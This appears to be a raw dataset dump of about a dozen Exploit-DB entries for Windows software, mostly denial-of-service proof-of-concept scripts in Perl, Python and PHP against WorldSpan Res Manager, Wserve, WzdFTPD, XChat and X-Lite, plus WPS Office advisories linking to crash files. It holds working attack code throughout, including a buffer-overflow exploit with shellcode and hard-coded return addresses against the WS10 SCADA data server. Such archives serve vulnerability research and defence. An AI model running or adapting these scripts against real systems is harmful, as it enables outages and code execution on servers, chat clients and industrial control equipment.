deardaniel/secdata-raw huggingface dataset:
Exploit-DB #21594
Description: WorldSpan Res Manager 4.1 - Malformed TCP Packet Denial of Service
Type: dos
Platform: windows
Date: 2002-07-04
Author: altomo

Exploit:
source: https://www.securityfocus.com/bid/5169/info

It has been reported that WorldSpan Res Manager 4.1 for Microsoft Windows is vulnerable to a denial of service condition.

Res Manager systems are connected to Worldspan via private lines or through the Internet. Before accessing Worldspan, clients must first go through a local gateway, which accepts connections from Res Manager clients via TCP port 17990. If a malformed packet is sent to this port, the gateway software attempts to process the packet and eventually crashes.

#!/usr/bin/perl
#altomo@digitalgangsters.net
#Worldspan Gateway DoS

$sabre = "worldspanshouldgoboom";

use IO::Socket;
$ip = "$ARGV[0]";
$port = "17990";
if ($#ARGV<0) {
print " useage: $0 <ip>\n";
exit();
}
$socket = IO::Socket::INET->new(
Proto=>"tcp",
PeerAddr=>$ip,
PeerPort=>$port,);


print "Worldspan Gateway DoS\n";
print "altomo\@digitalgangsters.net\n";

print "Wait about a minute, and it should crash.\n";
print $socket "$sabre\r";
close $socket;
Exploit-DB #39396
Description: WPS Office < 2016 - '.doc' OneTableDocumentStream Memory Corruption
Type: dos
Platform: windows
Date: 2016-02-01
Author: Francis Provencher

Exploit:
#####################################################################################

Application: WPS Office

Platforms: Windows

Versions: Version before 2016

Author: Francis Provencher of COSIG

Twitter: @COSIG_

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

WPS Office (an acronym for Writer, Presentation and Spreadsheets,[2] previously known as Kingsoft Office) is an office

suite for Microsoft Windows, Linux,[1] iOS[3] and Android OS,[4] developed by Zhuhai-basedChinese software developer Kingsoft.

WPS Office is a suite of software which is made up of three primary components: WPS Writer, WPS Presentation, and WPS Spreadsheet.

The personal basic version is free to use, but a watermark is printed on all printed output after the 30 day trial ends.

(https://en.wikipedia.org/wiki/WPS_Office)

#####################################################################################

============================
2) Report Timeline
============================

2015-11-24: Francis Provencher from COSIG report the issue to WPS;
2015-12-06: WPS security confirm this issue;
2016-01-01: COSIG ask an update status;
2016-01-07: COSIG ask an update status;
2016-01-14: COSIG ask an update status;
2016-01-21: COSIG ask an update status;
2016-02-01: COSIG release this advisory;

#####################################################################################

============================
3) Technical details
============================

 

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of WPS.
User interaction is required to exploit this vulnerability, the target must open a malicious file.
The specific flaw exists within the handling of a crafted DOC files with an invalid value into the “OneTableDocumentStream”
data section causing a stackbase memory corruption.
###############################################################################

===========

4) POC

===========

http://protekresearchlab.com/exploits/COSIG-2016-05.doc
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39396.zip

###############################################################################
Exploit-DB #39397
Description: WPS Office < 2016 - '.ppt' drawingContainer Memory Corruption
Type: dos
Platform: windows
Date: 2016-02-01
Author: Francis Provencher

Exploit:
#####################################################################################

Application: WPS Office

Platforms: Windows

Versions: Version 2016

Author: Francis Provencher of COSIG

Twitter: @COSIG_

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

WPS Office (an acronym for Writer, Presentation and Spreadsheets,[2] previously known as Kingsoft Office) is an office

suite for Microsoft Windows, Linux,[1] iOS[3] and Android OS,[4] developed by Zhuhai-basedChinese software developer Kingsoft.

WPS Office is a suite of software which is made up of three primary components: WPS Writer, WPS Presentation, and WPS Spreadsheet.

The personal basic version is free to use, but a watermark is printed on all printed output after the 30 day trial ends.

(https://en.wikipedia.org/wiki/WPS_Office)

#####################################################################################

============================
2) Report Timeline
============================

2015-12-31: Francis Provencher from COSIG report the issue to WPS;
2016-01-04: WPS security confirm this issue;
2016-01-14: COSIG ask an update status;
2016-01-21: COSIG ask an update status;
2016-02-01: COSIG release this advisory;

#####################################################################################

============================
3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of WPS.
User interaction is required to exploit this vulnerability in that the target must open a malicious file.

The specific flaw exists within the handling of a crafted Presentation files with an invalid “Length” header in a drawingContainer.
By providing a malformed .ppt file, an attacker can cause an memory corruption by dereferencing an uninitialized pointer.

#####################################################################################

===========

4) POC

===========

http://protekresearchlab.com/exploits/COSIG-2016-06.ppt
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39397.zip

###############################################################################
Exploit-DB #39395
Description: WPS Office < 2016 - '.ppt' Heap Memory Corruption
Type: dos
Platform: windows
Date: 2016-02-01
Author: Francis Provencher

Exploit:
#####################################################################################

Application: WPS Office

Platforms: Windows

Versions: Version before 2016

Author: Francis Provencher of COSIG

Twitter: @COSIG_

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

WPS Office (an acronym for Writer, Presentation and Spreadsheets,[2] previously known as Kingsoft Office) is an office

suite for Microsoft Windows, Linux,[1] iOS[3] and Android OS,[4] developed by Zhuhai-basedChinese software developer Kingsoft.

WPS Office is a suite of software which is made up of three primary components: WPS Writer, WPS Presentation, and WPS Spreadsheet.

The personal basic version is free to use, but a watermark is printed on all printed output after the 30 day trial ends.

(https://en.wikipedia.org/wiki/WPS_Office)

#####################################################################################

============================
2) Report Timeline
============================

2015-11-24: Francis Provencher from COSIG report the issue to WPS;
2015-12-06: WPS security confirm this issue;
2016-01-01: COSIG ask an update status;
2016-01-07: COSIG ask an update status;
2016-01-14: COSIG ask an update status;
2016-01-21: COSIG ask an update status;
2016-02-01: COSIG release this advisory;

#####################################################################################

============================
3) Technical details
============================

The specific flaw exists within the handling of a crafted PPT files with an invalid value into “texttype” in the “clientTextBox”
into a “DrawingContainer”. An heap memory corruption occured and could allow remote attackers to execute arbitrary code
on vulnerable installations of WPS. User interaction is required to exploit this vulnerability, the target must open a malicious file.

#####################################################################################

===========

4) POC

===========

http://protekresearchlab.com/exploits/COSIG-2016-04.ppt
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39395.zip

###############################################################################
Exploit-DB #39398
Description: WPS Office < 2016 - '.xls' Heap Memory Corruption
Type: dos
Platform: windows
Date: 2016-02-01
Author: Francis Provencher

Exploit:
#####################################################################################

Application: WPS Office

Platforms: Windows

Versions: Version 2016

Author: Francis Provencher of COSIG

Twitter: @COSIG_

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

WPS Office (an acronym for Writer, Presentation and Spreadsheets,[2] previously known as Kingsoft Office) is an office

suite for Microsoft Windows, Linux,[1] iOS[3] and Android OS,[4] developed by Zhuhai-basedChinese software developer Kingsoft.

WPS Office is a suite of software which is made up of three primary components: WPS Writer, WPS Presentation, and WPS Spreadsheet.

The personal basic version is free to use, but a watermark is printed on all printed output after the 30 day trial ends.

(https://en.wikipedia.org/wiki/WPS_Office)

#####################################################################################

============================
2) Report Timeline
============================

2015-12-31: Francis Provencher from COSIG report the issue to WPS;
2016-01-04: WPS security confirm this issue;
2016-01-14: COSIG ask an update status;
2016-01-21: COSIG ask an update status;
2016-02-01: COSIG release this advisory;

#####################################################################################

============================
3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of WPS.
User interaction is required to exploit this vulnerability in that the target must open a malicious file.
By providing a malformed .xls file, an attacker can cause an heap memory corruption.
An attacker could leverage this to execute arbitrary code under the context of the WPS Spreadsheet process.

#####################################################################################

===========

4) POC

===========

http://protekresearchlab.com/exploits/COSIG-2016-07.xlsx
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39398.zip

###############################################################################
Exploit-DB #34752
Description: WS10 Data Server - SCADA Overflow (PoC)
Type: dos
Platform: windows
Date: 2014-09-24
Author: Pedro Sánchez

Exploit:
## Exploit Title: WS10 Data Server SCADA Exploit Overflow PoC
## Date: 09/23/2014
## Author: Pedro Sánchez
## Version: 1.83 (English)
## Tested on: Windows 7 embedded. 

## Notified the vendor, vendor never responded.
## In the new version this PoC stops working
 
## Vendor: Novus 
## http://www.novus.com.br
 
## NOVUS Electronics is a manufacturer of instruments for control, data acquisition and supervisory systems, mainly for factory automation 
 
import os
import socket
import sys

## The process listens on TCP port 2001

host = sys.argv[1]
port = int(sys.argv[2])
 
print " PoC WS10 Data Server SCADA Exploit "
print " Pedro Sanchez "
 
shellcode = ("\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9\x44\x80\xc2\x77\xFF\xD1\x90\x90") 
 
## Exploit contructor

	ws10 = ("\x90" * 1024 + "\x44" * 31788) 
	ws10 += ("\xeb\x14") 
	ws10 += ("\x44" * 6) 
	ws10 += ("\xad\xbb\xc3\x77") 
	ws10 += ("\xb4\x73\xed\x77")  
	ws10 += ("\x90" * 21) 
	ws10 += shellcode

 
print "  [+] Sending payload..."
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((host,port)) 
s.send(ws10)  
data = s.recv(1024)
 
print "  [+] Closing..."
s.close()  
print "  [+] Done!"
Exploit-DB #3674
Description: Wserve HTTP Server 4.6 - Long Directory Name Denial of Service
Type: dos
Platform: windows
Date: 2007-04-05
Author: WiLdBoY

Exploit:
#!perl
# Wserve HTTP Server 4.6 Version (Long Directory Name) Buffer Overflow - Denial Of Service
# Type :
# Buffer Overflow - Denial of Service
# Release Date :
# {2007-04-05}
# Product / Vendor :
# Wserve HTTP Server
# http://sourceforge.net/projects/whttp
# PoC :
# GET / HTTP/1.0\r\n /127.0.0.1:80/AAAAAA[2000]. 
# Error :
# Buffer Overrun Detected!
# Program:...~\Temp\Rar$EX00.906\wserve\wserve_console.exe
# A buffer overrun has been detected which has corrupted the program's internal state.The program cannot safely continue 
# execution and must now be terminated

# Exploit :

use LWP::UserAgent;

$unique = LWP::UserAgent->new;

$address = shift or die("Insert A Target");

$req = HTTP::Request->new(POST => "http://$address:80/" . A x 2000);

$res = $unique->request($req);

print $res->as_string;

# Tested :

# --- Wserve HTTP Server 4.6 ---

# Vulnerable :

# --- Wserve HTTP Server 4.6 ---

# Author :

# UniquE-Key{UniquE-Cracker}
# UniquE(at)UniquE-Key.Org
# http://www.UniquE-Key.Org

# milw0rm.com [2007-04-05]
Exploit-DB #23169
Description: WzdFTPD 0.1 rc5 - Login Remote Denial of Service
Type: dos
Platform: windows
Date: 2003-09-23
Author: Moran Zavdi

Exploit:
source: https://www.securityfocus.com/bid/8678/info

It has been reported that wzftpd is prone to a remote denial of service condition due to malicious user-supplied input. The problem is reported to present itself when a remote attacker sends a single CRLF character to the vulnerable program during the login process. This attack may cause the software to improperly handle the exceptional condition and lead to a crash.

Successful exploitation of this attack may allow a remote attacker to cause the vulnerable process to crash.

wzdftpd version 0.1rc5 has been reported to be prone to this vulnerability, however other version across various platforms may be affected as well. 

#!/usr/bin/perl
#
#   ####################################
#   #     Proof of concept for         #
#   # WZDFTPD FTP Server version 0.1rc5 #
#   ####################################
#
# http://www.moozatech.com/mt-23-09-2003.txt
#
# Usage: perl mooza1.pl [host] [port]
use IO::Socket;

$host = $ARGV[0];
$port = $ARGV[1];
print "\n#####################################\n\n";
print "Proof-Of-Concept for wzdftpd v0.1rc5.\n";
print "this code is for demonstration only.\n";
print "Use it under your own responsebility.\n";
print "\n#####################################\n\n";

if (defined $host && defined $port ) {
} else {
  print "Oops, Something is missing.\n";
  die "Usage: perl mooza1.pl [host] [port]\n";
}

print "Connecting to $host:$port... ";

$socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port,
 Proto => "tcp", Type=> SOCK_STREAM) or die "Failed, Cant connect?\n";
print "OK\n";
sleep 1;
print "Sending Dos..\n";
sleep 2;
print $socket "\r\n";
$socket->autoflush(1);

sleep 2;
print "we are done here..\n\n";
close($socket);
Exploit-DB #4498
Description: WzdFTPD 0.8.0 - 'USER' Remote Denial of Service
Type: dos
Platform: windows
Date: 2007-10-07
Author: k1tk4t

Exploit:
# Indonesian Newhack Security Advisory
# ------------------------------------
# wzdftpd <= 0.8.0 (USER) Remote Danial of Service
# Waktu            :  Oct 07 2007 05:00AM
# Software        :  wzdftpd 0.8.0
# Version        :  0.8.0 Linux and Windows
# Vendor        :  http://www.wzdftpd.net/
# Ditemukan oleh    :  k1tk4t  |  http://newhack.org
# Lokasi        :  Indonesia
#
# Tested on Windows XP SP2 and Linux CentOS
#
# C0000005 (ACCESS VIOLATION)
#
# EAX 00000001
# ECX 00A2F410
# EDX 003E0608
# EBX 00000000
# ESP 00FDEB58
# EBP 00FDFFEC
# ESI 00A25118
# EDI 00000094
#
#
#
#  Terima Kasih untuk;
#  str0ke, DNX, xoron
#  -[opt1lc, fl3xu5, ghoz]-
#  nyubi,iFX,kin9k0ng,bius,selikoer,aldy_BT,NoGe
#  Komunitas Security dan Hacker Indonesia
#
#!/usr/bin/perl
use IO::Socket;

print "\n  |-------------------------------------------------|";
print "\n  |         Indonesian Newhack Technology           |";
print "\n  |-------------------------------------------------|";
print "\n  |  wzdftpd 0.8.0 (USER) Remote Danial of Service  |";
print "\n  |     Found by k1tk4t [k1tk4t(at)newhack.org]     |";
print "\n  |-------------------------------------------------|";
print "\n  |";

if (@ARGV < 2)
{
 print "\n[!] Penggunaan: perl wzdftpd0.8.0.pl [Host] [Port] ";
print "\n[!] Contoh: perl wzdftpd0.8.0.pl 127.0.0.1 21";
 exit;
}


$ip = $ARGV[0];
$port = $ARGV[1];

$exploit = "A" x 8000;

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "\n[-] Koneksi: Gagal!\n";
print "\n[+] Koneksi: Ok!\n";
print "[+] Menggirim Packet DoS...\n";

print $socket "USER $exploit\n";
sleep(5);
close($socket);

print "[?] Mati Sudah!\n";

# milw0rm.com [2007-10-07]
Exploit-DB #9242
Description: WzdFTPD 8.0 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2009-07-24
Author: Jose Miguel Esparza

Exploit:
#!/usr/bin/env python
#
# WzdFTPD Denial of Service (<= 8.0)
#
# wzdftpd_dos.py by Jose Miguel Esparza
# 2007-01-19 S21sec labs

import sys,socket

user = "guest"
passw = "guest"
if len(sys.argv) != 3: 
	sys.exit("Usage: " + sys.argv[0] + " target_host target_port\n")
target = sys.argv[1]
targetPort = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,targetPort))
s.recv(1024)
s.sendall("USER " + user + "\r\n")
s.recv(1024)
s.sendall("PASS " + passw + "\r\n")
s.recv(1024)
s.sendall("\t")
s.close()

# milw0rm.com [2009-07-24]
Exploit-DB #11338
Description: X-lite SIP 3.0 - 'wav' memory Corruption Heap Buffer Overflow
Type: dos
Platform: windows
Date: 2010-02-06
Author: TecR0c

Exploit:
#!/usr/bin/python
# 
# ####################################################################
#
# X-lite SIP v3 (wav) memory corruption Heap BOF exploit
# Date: 06-02-2010
# Author: TecR0c
# Software Link: http://xlite.counterpath.com/download/win32_100106
# Version: 3.0
# Tested on:  Windows XP SP3
# Usage: right click running application > options > Alerts & sounds > import --> boom!
#
######################################################################

header = ("\x52\x49\x46\x46\xe4\x0a\x09\x00\x57\x41\x56\x45\x66\x6d\x74\x20"
"\x10\x00\x00\x00\x01\x00\x02\x00\x44\xac\x00\x00\x10\xb1\x02\x00"
"\x04\x00\x10\x00\x64\x61\x74\x61\xc0\x0a\x09\x00\x01\x00\x01\x00"
"\x00\x00\x01\x00\x01\x00\x04\x00\x00\x00\x05\x00\x02\x00\x08\x00"
"\x02\x00\x09\x00\x01\x00\x0a")

exploit = header
exploit += "\x41" * 4000

try:
	print "[+] Creating exploit file.."
	crash = open('TecR0c-wins.wav','w');
	crash.write(exploit);
	crash.close();
except:
	print "[-] Error: You do not have correct permissions.."
Exploit-DB #2124
Description: XChat 2.6.7 (Windows) - Remote Denial of Service
Type: dos
Platform: windows
Date: 2006-08-07
Author: ratboy

Exploit:
<?
 # another way to test this with irssi/bitchx <below> /str0ke
 # /exec -o perl -e 'print "\x9x\xF0\x92\x8D\x85\xF1\xA5\x90\xB4\xF1\x96\x9E\x85\xF1\xA6\x8D\xA5\xF1\xB8\xA5\x85\xF1\xA7\x95\xA8\x29\xF2\x95\x95\x82"'
 ?>

<?php
// XChat <= 2.6.7 Windows Remote Crash DoS by ratboy
// Tested on Windows SP1/SP2          
// The following bug was tested on the XChat <= 2.6.7 on Windows SP1/SP2  

//Stop the script timing out
set_time_limit(0);

//Set constants
define("SERVER", 'irc.enigmagroup.org');
define("PORT", 6667);
define("CHANNEL", "#enigmagroup");  //Set the channel the bot will join here
define("NICK", "ratbot");    //Set the bot's nick here
define("EXPLOIT", "\x9x\xF0\x92\x8D\x85\xF1\xA5\x90\xB4\xF1\x96\x9E\x85\xF1\xA6\x8D\xA5\xF1\xB8\xA5\x85\xF1\xA7\x95\xA8\x29\xF2\x95\x95\x82");
define("VICTIM", "ratboy");

$socket = socket_create(AF_INET,SOCK_STREAM,SOL_TCP); // Create the Socket
$fp = socket_connect($socket, SERVER, PORT); // Connect to the server
socket_write($socket,"USER ratboy ratboy ratboy :ratboy\r\n"); // Send the Username to the server
socket_write($socket,"NICK ".NICK." \r\n"); // Change our nickname
socket_write($socket,"JOIN ".CHANNEL." \r\n"); // Join the channel
while($data = @socket_read($socket,2046)) { //read the data
    echo $data;
    $cmd = explode(" ", $data);

    if (strpos($data, "PING :")===0) {
        socket_write($socket, "PONG :".substr($data, 6)."\r\n");
        continue;
    }
    
    if($cmd[1] == "PRIVMSG"){  // Send the exploit right when the channel gets a message then stop the bot
        socket_write($socket, "PRIVMSG ".VICTIM." :".EXPLOIT."\r\n");
        socket_close($socket);
    }
}

?> 

# milw0rm.com [2006-08-07]
Exploit-DB #2147
Description: XChat 2.6.7 (Windows) - Remote Denial of Service
Type: dos
Platform: windows
Date: 2006-08-08
Author: Elo

Exploit:
#!/usr/bin/perl

# rewritten because perl is more elegant than php
# payload taken from original that ratboy submitted

use strict;
use Net::IRC;

my ($nick, $server, $port, $channel, $victim) = @ARGV;

my $irc = new Net::IRC;
my $connect = $irc -> newconn (Nick => "$nick",
Server => "$server",
Port => $port,
Ircname=> 'whatever')
or die "$0: Error\n";

my $payload = "\x9x\xF0\x92\x8D\x85\xF1\xA5\x90\xB4\xF1\x96\x9E\x85\xF1\xA6\x8D\xA5\xF1\xB8\xA5\x85\xF1\xA7\x95\xA8\x29\xF2\x95\x95\x82";        

sub on_connect {
	my $self = shift;
	
	$self->join("#".$channel);
	$self->privmsg($victim, "$payload");
}

$connect->add_handler('376', \&on_connect);
$irc->start();

# milw0rm.com [2006-08-08]